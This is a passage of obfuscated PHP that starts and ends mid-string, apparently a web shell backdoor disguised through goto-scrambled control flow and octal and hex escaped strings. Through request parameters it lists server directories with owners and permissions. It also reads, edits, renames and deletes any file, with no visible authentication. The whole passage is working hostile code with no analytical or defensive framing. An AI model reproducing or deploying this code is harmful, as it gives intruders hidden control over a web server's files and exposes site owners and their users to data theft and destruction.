"\\47\\76\\x65\\144\\151\\164\\74\\57\\141\\x3e\\x20\\x5d\\x20\\x5b\\40\\x3c\\141\\x20\\150\\162\\x65\\146\\x3d\\x27\\77\\141\\143\\164\\x3d\\162\\145\\156\\141\\x6d\\145\\x26\\x64\\x69\\162\\75{$dir}\\x26\\x66\\x69\\x6c\\x65\\x3d" . $_GET["\\x66\\x69\\x6c\\145"] . "\\x27\\76\\162\\x65\\x6e\\x61\\155\\145\\x3c\\57\\x61\\76\\40\\135\\40\\x5b\\40\\x3c\\x61\\x20\\x68\\x72\\x65\\x66\\x3d\\47\\x3f\\x61\\x63\\164\\x3d\\144\\157\\167\\x6e\\154\\x6f\\141\\144\\x26\\x64\\x69\\x72\\75{$dir}\\46\\x66\\151\\x6c\\x65\\75" . $_GET["\\146\\x69\\x6c\\145"] . "\\47\\x3e\\144\\x6f\\x77\\x6e\\154\\x6f\\141\\144\\74\\57\\x61\\x3e\\40\\x5d\\40\\133\\40\\74\\141\\40\\150\\162\\x65\\146\\75\\47\\x3f\\x61\\x63\\164\\75\\x64\\x65\\154\\x65\\x74\\x65\\46\\x64\\151\\162\\75{$dir}\\x26\\x66\\x69\\x6c\\x65\\x3d" . $_GET["\\x66\\151\\x6c\\x65"] . "\\47\\76\\x64\\x65\\x6c\\145\\164\\x65\\74\\57\\x61\\76\\x20\\135\\x3c\\x62\\x72\\x3e"; goto m41tL; m41tL: echo "\\74\\x66\\x6f\\x72\\x6d\\40\\155\\145\\164\\x68\\x6f\\144\\75\\x27\\160\\157\\163\\164\\47\\76\\xd\\12\\x9\\74\\x74\\x65\\170\\x74\\x61\\x72\\x65\\141\\x20\\156\\141\\155\\145\\75\\x27\\x73\\x72\\143\\x27\\76" . htmlspecialchars(@file_get_contents($_GET["\\x66\\x69\\x6c\\x65"])) . "\\74\\57\\x74\\x65\\170\\x74\\x61\\162\\145\\x61\\76\\74\\x62\\162\\76\\15\\12\\11\\x3c\\x69\\156\\x70\\165\\164\\x20\\x74\\x79\\x70\\145\\x3d\\47\\x73\\165\\142\\x6d\\x69\\164\\47\\x20\\x9\\x63\\154\\141\\163\\163\\x3d\\x27\\142\\164\\x6e\\x20\\x62\\164\\156\\x2d\\163\\165\\x63\\x63\\x65\\x73\\x73\\x20\\x62\\x74\\x6e\\55\\163\\x6d\\x27\\40\\x76\\x61\\x6c\\165\\x65\\75\\x27\\123\\x61\\166\\145\\x27\\40\\156\\x61\\155\\145\\x3d\\47\\x73\\141\\166\\x65\\x27\\40\\163\\164\\171\\154\\x65\\75\\47\\x77\\x69\\x64\\x74\\150\\x3a\\40\\x35\\x30\\x30\\x70\\x78\\73\\15\\12\\xd\\xa\\15\\12\\x27\\x3e\\xd\\xa\\x9\\x3c\\x2f\\x66\\x6f\\x72\\x6d\\x3e"; goto mcLAu; mcLAu: } elseif ($_GET["\\141\\143\\164"] == "\\x72\\x65\\x6e\\141\\155\\145") { goto fbw4E; QGR95: echo "\\106\\x69\\154\\x65\\156\\x61\\155\\145\\x3a\\x20\\133\\40\\74\\x66\\157\\x6e\\164\\x20\\143\\157\\154\\x6f\\x72\\x3d\\x23\\x31\\70\\102\\103\\x39\\103\\76" . basename($_GET["\\146\\x69\\x6c\\x65"]) . "\\74\\x2f\\x66\\x6f\\156\\x74\\76\\40\\135\\40\\133\\x20\\74\\141\\40\\x68\\x72\\145\\x66\\x3d\\47\\77\\141\\x63\\x74\\x3d\\x76\\151\\x65\\x77\\x26\\144\\x69\\x72\\x3d{$dir}\\x26\\x66\\151\\154\\x65\\x3d" . $_GET["\\146\\x69\\154\\x65"] . "\\x27\\76\\166\\151\\145\\x77\\x3c\\57\\x61\\x3e\\40\\135\\x20\\x5b\\40\\74\\141\\40\\x68\\162\\145\\146\\75\\x27\\x3f\\x61\\x63\\x74\\75\\x65\\x64\\151\\x74\\x26\\144\\151\\x72\\x3d{$dir}\\x26\\146\\151\\x6c\\145\\75" . $_GET["\\146\\x69\\x6c\\145"] . "\\47\\76\\145\\144\\151\\x74\\74\\57\\x61\\x3e\\x20\\135\\40\\x5b\\x20\\74\\141\\40\\150\\x72\\145\\146\\75\\47\\x3f\\x61\\143\\164\\75\\x72\\145\\156\\141\\x6d\\x65\\46\\x64\\x69\\162\\x3d{$dir}\\46\\x66\\151\\x6c\\x65\\75" . $_GET["\\146\\x69\\x6c\\x65"] . "\\x27\\76\\74\\x62\\x3e\\162\\x65\\156\\141\\x6d\\x65\\74\\x2f\\x62\\76\\x3c\\x2f\\141\\x3e\\x20\\x5d\\x20\\x5b\\x20\\74\\x61\\40\\x68\\x72\\145\\x66\\x3d\\x27\\77\\141\\143\\x74\\75\\144\\x6f\\x77\\x6e\\x6c\\x6f\\x61\\144\\46\\144\\x69\\162\\75{$dir}\\x26\\146\\x69\\x6c\\145\\75" . $_GET["\\146\\x69\\x6c\\x65"] . "\\x27\\76\\x64\\x6f\\167\\156\\154\\157\\141\\144\\x3c\\x2f\\141\\x3e\\x20\\x5d\\40\\x5b\\40\\x3c\\x61\\40\\x68\\x72\\145\\x66\\75\\47\\x3f\\141\\143\\x74\\x3d\\144\\145\\154\\x65\\164\\145\\46\\x64\\x69\\162\\75{$dir}\\46\\x66\\x69\\154\\145\\75" . $_GET["\\x66\\x69\\x6c\\x65"] . "\\47\\76\\144\\x65\\154\\x65\\x74\\x65\\74\\x2f\\x61\\76\\x3c\\142\\162\\x3e"; goto S4D8p; fbw4E: if ($_POST["\\144\\157\\137\\162\\x65\\x6e\\x61\\x6d\\x65"]) { goto dSlcO; dSlcO: $rename = rename($_GET["\\146\\151\\x6c\\145"], "{$dir}\\x2f" . htmlspecialchars($_POST["\\162\\145\\x6e\\141\\155\\x65"]) . \'\'); goto bomOa; I9rQQ: echo \'\' . $act . "\\74\\x62\\162\\x3e"; goto BVDuX; bomOa: if ($rename) { $act = "\\x3c\\x73\\143\\162\\x69\\160\\x74\\x3e\\x77\\x69\\156\\x64\\157\\167\\56\\154\\x6f\\143\\x61\\164\\x69\\157\\x6e\\x3d\\47\\77\\144\\x69\\162\\x3d" . $dir . "\\x27\\x3b\\15\\12\\xd\\12\\xd\\xa\\74\\x2f\\x73\\143\\x72\\x69\\x70\\x74\\x3e"; } else { $act = "\\x3c\\146\\x6f\\x6e\\x74\\x20\\143\\157\\154\\157\\x72\\x3d\\x72\\x65\\x64\\x3e\\x70\\145\\x72\\155\\x69\\163\\163\\x69\\x6f\\156\\x20\\x64\\145\\156\\151\\x65\\144\\74\\57\\146\\157\\x6e\\164\\x3e"; } goto I9rQQ; BVDuX: } goto QGR95; S4D8p: echo "\\x3c\\x66\\157\\162\\155\\x20\\155\\x65\\x74\\x68\\x6f\\x64\\75\\47\\x70\\x6f\\x73\\164\\x27\\x3e\\15\\12\\x9\\x3c\\x69\\x6e\\160\\165\\x74\\40\\x74\\171\\x70\\145\\x3d\\47\\164\\x65\\170\\164\\x27\\x20\\x76\\141\\x6c\\165\\x65\\x3d\\47" . basename($_GET["\\x66\\151\\154\\145"]) . "\\47\\x20\\x6e\\x61\\x6d\\x65\\75\\x27\\x72\\x65\\156\\x61\\x6d\\x65\\47\\40\\x73\\x74\\171\\154\\145\\x3d\\47\\167\\151\\144\\164\\150\\x3a\\x20\\x34\\x35\\x30\\x70\\x78\\x3b\\xd\\xa\\15\\12\\xd\\12\\x27\\40\\150\\x65\\x69\\147\\150\\164\\x3d\\47\\x31\\60\\47\\76\\xd\\12\\x9\\74\\151\\156\\x70\\165\\x74\\40\\164\\171\\160\\x65\\75\\x27\\163\\x75\\142\\155\\151\\x74\\47\\x20\\143\\154\\x61\\x73\\x73\\75\\x27\\142\\x74\\x6e\\40\\142\\164\\x6e\\55\\163\\165\\143\\x63\\x65\\x73\\163\\x20\\142\\164\\156\\x2d\\163\\x6d\\x27\\x20\\x6e\\141\\155\\145\\x3d\\x27\\144\\157\\x5f\\x72\\145\\x6e\\141\\155\\x65\\x27\\40\\166\\141\\x6c\\165\\x65\\x3d\\x27\\x72\\145\\x6e\\x61\\155\\145\\47\\76\\15\\xa\\11\\74\\57\\146\\157\\x72\\x6d\\x3e"; goto pN0oN; pN0oN: } elseif ($_GET["\\x61\\x63\\164"] == "\\x64\\145\\x6c\\x65\\x74\\x65") { goto YcHY_; YcHY_: $delete = unlink($_GET["\\146\\x69\\154\\145"]); goto qR8Nk; biN5u: echo $act; goto f2AKU; qR8Nk: if ($delete) { $act = "\\x3c\\x73\\x63\\162\\151\\x70\\164\\76\\167\\x69\\x6e\\144\\157\\x77\\x2e\\x6c\\157\\143\\x61\\164\\x69\\x6f\\x6e\\x3d\\47\\77\\x64\\x69\\x72\\75" . $dir . "\\x27\\x3b\\xd\\12\\xd\\xa\\15\\12\\x3c\\57\\x73\\143\\x72\\x69\\x70\\x74\\76"; } else { $act = "\\74\\x66\\x6f\\x6e\\164\\40\\x63\\x6f\\154\\157\\162\\x3d\\162\\145\\x64\\76\\x70\\145\\x72\\155\\x69\\x73\\163\\x69\\x6f\\x6e\\40\\x64\\x65\\x6e\\x69\\x65\\x64\\74\\x2f\\146\\157\\x6e\\x74\\76"; } goto biN5u; f2AKU: } else { goto KkMtu; GUCDY: echo "\\74\\57\\x74\\x61\\x62\\154\\145\\x3e"; goto MTCRo; T0sVR: foreach ($scandir as $file) { goto QmbVv; ubNXX: if ($size > 1024) { $size = round($size / 1024, 2) . "\\115\\102"; } else { $size = $size . "\\113\\x42"; } goto rPL3y; Kgpzy: echo "\\74\\57\\164\\x72\\x3e"; goto mAuRL; SBGdw: echo "\\74\\x74\\x64\\x20\\x63\\154\\141\\x73\\x73\\75\\47\\x74\\144\\137\\150\\x6f\\x6d\\x65\\47\\76\\74\\x63\\145\\x6e\\x74\\x65\\162\\76{$ftime}\\74\\57\\143\\145\\x6e\\x74\\145\\162\\x3e\\74\\57\\164\\x64\\x3e"; goto drkYr; vQmVu: $size = filesize("{$dir}\\x2f{$file}") / 1024; goto JAEXH; drkYr: echo "\\x3c\\x74\\x64\\40\\143\\154\\x61\\163\\x73\\75\\x27\\164\\144\\x5f\\x68\\x6f\\x6d\\145\\47\\76\\x3c\\x63\\x65\\x6e\\x74\\145\\162\\76{$fowner}\\x2f{$fgrp}\\74\\57\\x63\\x65\\x6e\\164\\145\\x72\\x3e\\74\\x2f\\x74\\144\\76"; goto ad2En; rPL3y: if (!is_file("{$dir}\\57{$file}")) { continue; } goto TlEwg; M0e_a: if (function_exists("\\160\\x6f\\163\\151\\170\\137\\x67\\145\\164\\x67\\x72\\147\\151\\x64")) { $fgrp = @posix_getgrgid(filegroup("{$dir}\\57{$file}")); $fgrp = $fgrp["\\x6e\\x61\\155\\145"]; } else { $fgrp = filegroup("{$dir}\\57{$file}"); } goto ubNXX; JAEXH: $size = round($size, 3); goto Tr0rI; QmbVv: $ftype = filetype("{$dir}\\57{$file}"); goto MRVLm; ad2En: echo "\\74\\164\\x64\\40\\143\\x6c\\141\\163\\163\\x3d\\x27\\x74\\144\\x5f\\150\\x6f\\x6d\\x65\\47\\x3e\\74\\x63\\145\\156\\x74\\x65\\162\\76" . w("{$dir}\\x2f{$file}", perms("{$dir}\\x2f{$file}")) . "\\74\\x2f\\x63\\x65\\156\\x74\\x65\\162\\76\\x3c\\x2f\\x74\\144\\x3e"; goto xfEG3; Tr0rI: if (function_exists("\\160\\x6f\\163\\151\\170\\137\\147\\145\\164\\x70\\167\\x75\\151\\144")) { $fowner = @posix_getpwuid(fileowner("{$dir}\\x2f{$file}")); $fowner = $fowner["\\156\\141\\155\\145"]; } else { $fowner = fileowner("{$dir}\\57{$file}"); } goto M0e_a; Nr7vB: echo "\\x3c\\x74\\x64\\x20\\x63\\x6c\\141\\163\\163\\x3d\\47\\x74\\144\\137\\x68\\x6f\\155\\x65\\x27\\76\\74\\143\\x65\\156\\164\\145\\x72\\76{$size}\\x3c\\57\\x63\\x65\\x6e\\164\\x65\\162\\x3e\\74\\x2f\\164\\x64\\x3e"; goto SBGdw; S_66u: echo "\\x3c\\x74\\144\\40\\143\\154\\x61\\x73\\x73\\75\\x27\\x74\\x64\\137\\x68\\157\\155\\x65\\47\\x3e\\74\\x69\\x6d\\x67\\x20\\x73\\162\\143\\75\\47\\x64\\141\\164\\141\\x3a\\x69\\x6d\\141\\x67\\145\\x2f\\160\\156\\x67\\73\\15\\xa\\15\\xa\\xd\\12\\142\\141\\x73\\x65\\x36\\x34\\x2c\\x69\\x56\\x42\\117\\x52\\x77\\60\\113\\x47\\147\\157\\x41\\x41\\101\\101\\116\\123\\x55\\x68\\105\\x55\\x67\\101\\x41\\101\\x42\\x41\\x41\\101\\101\\x41\\121\\x43\\101\\x59\\x41\\101\\101\\101\\x66\\x38\\57\\71\\x68\\x41\\x41\\101\\x41\\x41\\x58\\116\\123\\x52\\x30\\x49\\x41\\162\\x73\\x34\\x63\\x36\\x51\\x41\\101\\x41\\101\\132\\x69\\x53\\x30\\144\\x45\\x41\\x50\\70\\101\\x2f\\167\\104\\57\\157\\x4c\\x32\\156\\153\\x77\\101\\x41\\101\\101\\x6c\\x77\\x53\\x46\\x6c\\172\\x41\\x41\\101\\114\\x45\\x77\\x41\\x41\\103\\x78\\x4d\\102\\101\\112\\161\\143\\x47\\101\\x41\\x41\\101\\101\\144\\x30\\x53\\x55\\x31\\x46\\x42\\71\\157\\112\\102\\150\\x63\\124\\112\\166\\x32\\102\\x32\\144\\x34\\x41\\x41\\x41\\112\\x4d\\x53\\125\\x52\\x42\\126\\104\\x6a\\x4c\\142\\x5a\\117\\71\\124\\150\\x78\\132\\x45\\x49\\x57\\x2f\\x71\\154\\166\\x64\\164\\x4d\\63\\x38\\x42\\116\\x67\\112\\x51\\155\\x51\\147\\112\\107\\x64\\x2b\\101\\x2f\\115\\x51\\x42\\114\\167\\x47\\x6a\\151\\167\\110\\63\\156\\x77\\x64\\x6b\\123\\114\\x74\\x4f\\x32\\x78\\x45\\x52\\107\\65\\x4c\\161\\170\\x58\\x52\\x53\\x49\\x52\\x32\\131\\104\\x66\\104\\x34\\107\\153\\x47\\x4d\\60\\120\\x33\\162\\x62\\64\\142\\x39\\120\\x41\\x7a\\x30\\154\\x37\\160\\x53\\x6c\\x57\\154\\127\\60\\x66\\156\\x6e\\x4c\\157\\154\\x41\\x49\\120\\x42\\64\\120\\x58\\x68\\64\\x65\\x46\\x75\\156\\165\\x63\\x41\\x49\\x49\\x4c\\167\\x64\\105\\123\\x65\\x5a\\171\\x41\\151\\146\\x6e\\x70\\66\\x2b\\165\\71\\x6f\\x4e\\114\\x6f\\63\\147\\115\\x33\\116\\172\\124\\x64\\110\\122\\x2b\\57\\x2f\\172\\x76\\112\\x4d\\172\\x53\\x79\\x4a\\113\\113\\x6f\\x64\\151\\x49\\147\\x38\\101\\130\\x61\\x78\\145\\x49\\x7a\\61\\142\\x44\\132\\67\\x4d\\x78\\161\\116\\146\\164\\147\\x53\\x55\\122\\x44\\127\\x79\\x37\\x4c\\x55\\x6e\\x5a\\x30\\144\\131\\155\\170\\101\\x46\\x41\\126\\x45\\x6c\\111\\66\\x41\\x45\\103\\x79\\147\\x49\\x73\\121\\121\\x73\\151\\x7a\\114\\x42\\x4f\\x41\\102\\x41\\x44\\x4f\\152\\x4b\\101\\160\\x71\\x68\\x37\\165\\67\\x47\\x6f\\103\\125\\x57\\151\\x77\\131\\142\\145\\164\\x6f\\125\\110\\x72\\162\\x50\\143\\167\\103\\161\\157\\x46\\62\\113\\125\\x65\\x58\\x4c\\172\\x45\\172\\102\\x76\\x30\\53\\165\\121\\155\\x53\\x48\\115\\105\\x5a\\71\\106\\66\\x53\\x5a\\x63\\x72\\66\\151\\64\\111\\x73\\x42\\x4f\\141\\57\\142\\67\\x48\\x51\\115\\141\\x48\\164\\x49\\x41\\167\\147\\114\\x64\\x48\\141\\154\\x44\\x41\\61\\145\\166\\60\\145\\x51\\142\\x53\\x6a\\x72\\105\\162\\121\\167\\112\\160\\x71\\106\\64\\145\\101\\170\\57\\x68\\157\\161\\104\\61\\x33\\x32\\155\\x4d\\153\\112\\x72\\151\\x35\\x75\\123\\x4f\\x6c\\106\\x68\\105\\150\\x70\\x55\\121\\x49\\151\\x6f\\x6a\\167\\x61\\155\\x4f\\x44\\116\\x73\\x6c\\x6a\\x66\\125\\x57\\x43\\x71\\160\\114\\156\\x4f\\141\\x61\\103\\123\\113\\112\\x74\\x6e\\x61\\102\\x43\\x73\\132\\131\\x6a\\101\\154\\154\\155\\x58\\111\\x34\\166\\141\\145\\157\\x61\\126\\x58\\x30\\x63\\142\\123\\x64\\x68\\155\\x55\\x52\\x33\\x7a\\x41\\x4b\\x76\\x4e\\152\\x59\\66\\x56\\151\\x6f\\x6f\\x30\\164\\x57\\172\\147\\x45\\157\\x6e\\x4b\\x62\\127\\x2b\\x4b\\x6b\\x47\\127\\x74\\63\\125\\156\\164\\x30\\103\\x65\\107\\x66\\112\\x73\\71\\147\\53\\x55\\125\\60\\162\\105\\107\\110\\110\\57\\x48\\167\\57\\115\\152\\x48\\x36\\57\\124\\53\\120\\117\\x64\\x46\\x6f\\x52\\x4e\\x4b\\x43\\150\\x4d\\62\\x32\\x78\\155\\x4f\\120\\145\\163\\x70\\x6a\\x50\\x47\\121\\66\\110\\x70\\116\\121\\62\\67\\164\\66\\163\\x41\\103\\x44\\x53\\x4e\\x61\\156\\171\\x6f\\154\\152\\x44\\x4c\\x45\\144\\126\\x61\\x46\\x4f\\x4c\\x65\\x38\\132\\x6b\\x55\\152\\113\\x35\\x75\\153\\x71\\63\\x74\\67\\x39\\x6c\\120\\x43\\67\\x2f\\x4f\\104\\x6b\\x35\\107\\141\\x2b\\131\\x36\\x4f\\x35\\x4d\\x71\\171\\155\\x4e\\167\\x33\\x56\\61\\171\\63\\x68\\171\\x7a\\x66\\130\\60\\150\\161\\166\\x4a\\x4c\\x79\\142\\130\\106\\144\\x2b\\x2b\\146\\62\\x64\\x33\\144\\x30\\x64\\155\\x73\\x2b\\161\\x76\\x67\\x34\\x4f\\x44\\x7a\\x38\\x66\\110\\170\\x30\\57\\x4c\\163\\x62\\x65\\63\\x39\\66\\x34\\163\\123\\67\\53\\64\\x75\\x45\\152\\x75\\x6e\\x70\\x71\\155\\x53\\145\\66\\145\\x33\\104\\x33\\116\\x35\\x2f\\x4e\\x30\\x57\\132\\142\\164\\x6c\\x79\\x39\\146\\60\\71\\x6e\\x5a\\x32\\132\\57\\x62\\62\\x39\\x76\\x32\\146\\x4c\\x45\\145\\x76\\166\\x4b\\71\\161\\x76\\x37\\x63\\62\\x74\\x6f\\113\\x69\\x38\\x55\\151\\151\\121\\x69\\x71\\110\\142\\x6d\\x36\\162\\151\\127\\x36\\x61\\x31\\x33\\146\\x6e\\x2b\\x7a\\x76\\x37\\x33\\53\\x6f\\161\\157\\162\\150\\x63\\114\\147\\113\\x55\\x46\\x58\\x56\\120\\x2b\\146\\156\\65\\62\\x2b\\x4c\\157\\156\\x6a\\70\\x49\\x4c\\x4a\\x30\\x50\\70\\x5a\\x49\\103\\x43\\106\\71\\57\\x50\\124\\160\\x43\\x6c\\x68\\x70\\102\\166\\x67\\x50\\145\\154\\157\\x4c\\71\\125\\x35\\65\\116\\x49\\x41\\101\\101\\x41\\x41\\x41\\x53\\x55\\x56\\117\\x52\\x4b\\x35\\x43\\x59\\x49\\x49\\x3d\\x27\\x3e\\x3c\\x61\\40\\x68\\162\\145\\146\\75\\47\\77\\141\\143\\x74\\75\\166\\151\\x65\\x77\\46\\x64\\x69\\x72\\x3d{$dir}\\46\\146\\151\\x6c\\x65\\x3d{$dir}\\x2f{$file}\\x27\\76{$file}\\x3c\\x2f\\x61\\76\\x3c\\57\\164\\x64\\76"; goto fp0uN; xfEG3: echo "\\x3c\\164\\x64\\x20\\x73\\x74\\171\\x6c\\x65\\75\\x27\\x70\\x61\\144\\144\\151\\156\\147\\55\\x6c\\x65\\146\\x74\\x3a\\x20\\61\\x35\\160\\170\\x3b\\xd\\12\\xd\\12\\15\\12\\x27\\x3e\\74\\x61\\x20\\x68\\x72\\145\\x66\\75\\x27\\77\\141\\x63\\x74\\75\\x65\\x64\\x69\\164\\46\\x64\\x69\\x72\\x3d{$dir}\\46\\x66\\151\\154\\145\\75{$dir}\\x2f{$file}\\x27\\x3e\\x65\\x64\\x69\\x74\\x3c\\57\\x61\\x3e\\x20\\x7c\\40\\74\\141\\x20\\150\\162\\145\\146\\75\\x27\\77\\x61\\x63\\x74\\75\\x72\\145\\x6e\\141\\155\\x65\\46\\x64\\151\\x72\\x3d{$dir}\\x26\\x66\\151\\x6c\\145\\x3d{$dir}\\57{$file}\\x27\\x3e\\x72\\x65\\x6e\\141\\x6d\\145\\74\\x2f\\x61\\76\\x20\\x7c\\x20\\74\\x61\\x20\\150\\162\\x65\\146\\75\\x27\\x3f\\141\\x63\\x74\\x3d\\x64\\x65\\154\\145\\x74\\145\\46\\144\\x69\\162\\x3d{$dir}\\46\\x66\\151\\154\\145\\x3d{$dir}\\x2f{$file}\\x27\\76\\144\\145\\x6c\\145\\164\\x65\\x3c\\57\\x61\\x3e\\40\\174\\x20\\74\\x61\\x20\\150\\x72\\x65\\x66\\75\\47\\x3f\\x61\\x63\\164\\75\\144\\x6f\\167\\x6e\\x6c\\x6f\\x61\\x64\\x26\\144\\151\\x72\\75{$dir}\\x26\\146\\x69\\154\\145\\75{$dir}\\x2f{$file}\\47\\x3e\\144\\x6f\\x77\\x6e\\x6c\\157\\x61\\x64\\74\\x2f\\x61\\x3e\\74\\57\\164\\144\\x3e"; goto Kgpzy; TlEwg: echo "\\x3c\\164\\x72\\x20\\143\\x6c\\x61\\163\\163\\x3d\\47\\164\\x64\\x5f\\150\\157\\155\\x65\\x27\\76"; goto S_66u; fp0uN: echo "\\74\\x74\\144\\40\\143\\x6c\\x61\\x73\\163\\x3d\\x27\\164\\144\\x5f\\150\\157\\x6d\\145\\47\\76\\74\\143\\145\\156\\x74\\x65\\162\\x3e{$ftype}\\74\\x2f\\143\\145\\156\\164\\x65\\162\\76\\x3c\\57\\164\\x64\\76"; goto Nr7vB; MRVLm: $ftime = date("\\x46\\x20\\x64\\x20\\x59\\40\\x67\\72\\x69\\72\\x73", filemtime("{$dir}\\57{$file}")); goto vQmVu; mAuRL: } goto GUCDY; KkMtu: if (is_dir($dir) === true) { if (!is_readable($dir)) { echo "\\x3c\\x66\\x6f\\156\\x74\\40\\x63\\x6f\\x6c\\x6f\\162\\x3d\\162\\145\\x64\\76\\143\\x61\\x6e\\47\\x74\\40\\157\\160\\x65\\x6e\\x20\\144\\151\\162\\x65\\143\\164\\157\\x72\\x79\\x2e\\x20\\50\\x20\\x6e\\x6f\\x74\\40\\162\\x65\\141\\144\\x61\\142\\154\\145\\40\\51\\x3c\\57\\146\\x6f\\156\\164\\76"; } else { goto VfICf; L82Wv: $scandir = scandir($dir); goto n8fBR; n8fBR: foreach ($scandir as $dirx) { goto RVksB; wrCF4: $dtime = date("\\106\\40\\144\\x20\\131\\40\\147\\72\\151\\x3a\\163", filemtime("{$dir}\\57{$dirx}")); goto vip_e; n6NGU: echo "\\x3c\\x2f\\x74\\x72\\76"; goto Lm1cH; gjKlh: echo "\\74\\x74\\x64\\40\\x63\\x6c\\x61\\x73\\163\\75\\47\\164\\x64\\x5f\\150\\x6f\\x6d\\145\\x27\\76\\x3c\\143\\145\\156\\x74\\145\\x72\\x3e{$dtype}\\x3c\\x2f\\x63\\145\\x6e\\x74\\145\\x72\\76\\74\\57\\x74\\144\\x3e"; goto EuPSw; UlxuF: echo "\\x3c\\x74\\144\\40\\143\\x6c\\x61\\x73\\x73\\75\\47\\164\\x64\\x5f\\150\\157\\x6d\\145\\x27\\x3e\\74\\143\\145\\156\\164\\145\\162\\x3e{$downer}\\x2f{$dgrp}\\x3c\\57\\x63\\145\\156\\x74\\145\\162\\x3e\\74\\57\\164\\144\\x3e"; goto C7itx; EuPSw: echo "\\x3c\\164\\144\\40\\143\\154\\x61\\x73\\x73\\75\\47\\x74\\x64\\137\\x68\\157\\155\\x65\\x27\\76\\74\\143\\x65\\156\\x74\\x65\\x72\\x3e\\55\\x3c\\x2f\\143\\x65\\156\\164\\x65\\x72\\x3e\\x3c\\57\\x74\\x64\\76"; goto Hrzrn; AsPGt: if (function_exists("\\x70\\x6f\\x73\\x69\\x78\\x5f\\147\\145\\x74\\x67\\x72\\x67\\x69\\x64")) { $dgrp = @posix_getgrgid(filegroup("{$dir}\\x2f{$dirx}")); $dgrp = $dgrp["\\156\\x61\\x6d\\x65"]; } else { $dgrp = filegroup("{$dir}\\57{$dirx}"); } goto c0tuK; vip_e: if (function_exists("\\x70\\157\\163\\x69\\170\\137\\x67\\145\\x74\\160\\x77\\x75\\151\\x64")) { $downer = @posix_getpwuid(fileowner("{$dir}\\x2f{$dirx}")); $downer = $downer["\\x6e\\x61\\x6d\\x65"]; } else { $downer = fileowner("{$dir}\\x2f{$dirx}"); } goto AsPGt; CLxyv: if ($dirx === "\\x2e" || $dirx === "\\56\\x2e") { $act_dir = "\\x3c\\141\\x20\\150\\162\\145\\x66\\x3d\\x27\\77\\x61\\x63\\x74\\75\\x6e\\145\\x77\\146\\x69\\x6c\\x65\\46\\x64\\151\\x72\\x3d{$dir}\\x27\\x3e\\x6e\\x65\\x77\\146\\151\\154\\x65\\74\\x2f\\141\\x3e\\40\\174\\40\\74\\x61\\40\\x68\\162\\x65\\x66\\x3d\\x27\\77\\x61\\143\\164\\75\\156\\x65\\x77\\x66\\157\\154\\144\\145\\162\\x26\\144\\x69\\x72\\x3d{$dir}\\47\\x3e\\x6e\\x65\\167\\x66\\x6f\\154\\144\\x65\\x72\\x3c\\57\\141\\76"; } else { $act_dir = "\\74\\141\\40\\x68\\162\\145\\146\\75\\47\\x3f\\x61\\x63\\x74\\x3d\\162\\145\\156\\x61\\155\\145\\137\\x64\\x69\\x72\\46\\x64\\x69\\162\\x3d{$dir}\\57{$dirx}\\x27\\76\\x72\\x65\\156\\x61\\x6d\\x65\\74\\57\\x61\\76\\x20\\174\\x20\\x3c\\x61\\40\\x68\\x72\\145\\x66\\75\\x27\\x3f\\x61\\143\\164\\x3d\\x64\\145\\154\\145\\164\\145\\137\\x64\\151\\x72\\x26\\x64\\151\\x72\\75{$dir}\\x2f{$dirx}\\x27\\x3e\\x64\\145\\154\\145\\164\\x65\\x3c\\57\\x61\\x3e"; } goto kLET5; kLET5: echo "\\74\\x74\\162\\x20\\143\\154\\141\\x73\\163\\x3d\\x27\\164\\144\\137\\x68\\157\\155\\x65\\x27\\x3e\\x20"; goto VuzXn; VuzXn: echo "\\74\\164\\144\\40\\143\\154\\141\\x73\\163\\75\\x27\\x74\\144\\137\\150\\x6f\\x6d\\145\\x27\\x20\\76\\74\\x69\\x6d\\x67\\40\\x73\\162\\x63\\75\\47\\144\\x61\\164\\x61\\72\\x69\\155\\141\\x67\\145\\x2f\\160\\156\\147\\x3b\\xd\\xa\\15\\xa\\xd\\12\\x62\\x61\\x73\\x65\\66\\x34\\x2c\\122\\x30\\154\\x47\\x4f\\x44\\x6c\\x68\\105\\x77\\101\\x51\\x41\\x4c\\115\\x41\\x41\\101\\101\\x41\\x41\\x50\\x2f\\57\\x2f\\65\\171\\x63\\101\\x4d\\x37\\117\\x59\\57\\x2f\\x2f\\x6e\\120\\x2f\\x2f\\x7a\\x76\\57\\x4f\\156\\120\\146\\x33\\71\\57\\x2f\\57\\57\\167\\x41\\101\\x41\\101\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\101\\x41\\101\\101\\x41\\101\\x41\\101\\101\\x41\\x41" . "\\x41\\101\\101\\101\\101\\x43\\110\\65\\x42\\101\\x45\\x41\\x41\\101\\x67\\101\\x4c\\x41\\101\\101\\x41\\101\\x41\\x54\\101\\102\\101\\101\\x41\\101\\122\\x52\\x45\\115\\154\\112\\x71\\x37\\x30\\x34\\66\\x79\\x70\\66\\102\\x78\\x73\\x69\\x48\\105\\x56\\102\\105\\x41\\113\\x59\\103\\x55\\120\\162\\x44\\x70\\67\\110\\154\\x58\\122\\x64\\x45\\x6f\\x4d\\x71\\103\\x65\\142\\160" . "\\57\\x34\\x59\\143\\150\\146\\146\\172\\x47\\x51\\150\\110\\x34\\131\\x52\\x59\\x50\\102\\x32\\104\\x4f\\x6c\\110\\120\\151\\113\\x77\\161\\x64\\x31\\120\\161\\x38\\171\\162\\126\\126\\x67\\63\\121\\x59\\x65\\110\\65\\x52\\131\\x4b\\65\\x72\\112\\x66\\141\\x46\\x55\\125\\x41\\x33\\166\\x42\\x34\\146\\x42\\111\\x42\\101\\104\\x73\\75\\47\\x3e{$href}\\74\\57\\164\\x64\\x3e"; goto gjKlh; Hrzrn: echo "\\x3c\\x74\\x64\\40\\x63\\x6c\\x61\\x73\\163\\75\\47\\x74\\x64\\137\\x68\\x6f\\155\\145\\47\\76\\74\\143\\145\\156\\x74\\x65\\162\\76{$dtime}\\74\\57\\x63\\145\\156\\164\\x65\\x72\\x3e\\x3c\\57\\164\\x64\\x3e"; goto UlxuF; RVksB: $dtype = filetype("{$dir}\\x2f{$dirx}"); goto wrCF4; c0tuK: if (!is_dir("{$dir}\\x2f{$dirx}")) { continue; } goto DCfUk; DCfUk: if ($dirx === "\\x2e\\56") { $href = "\\x3c\\x61\\x20\\150\\x72\\145\\146\\x3d\\47\\x3f\\x64\\151\\162\\x3d" . dirname($dir) . "\\x27\\x3e{$dirx}\\x3c\\x2f\\141\\x3e"; } elseif ($dirx === "\\56") { $href = "\\x3c\\141\\x20\\x68\\x72\\145\\146\\75\\47\\77\\144\\151\\162\\x3d{$dir}\\x27\\x3e{$dirx}\\74\\x2f\\141\\x3e"; } else { $href = 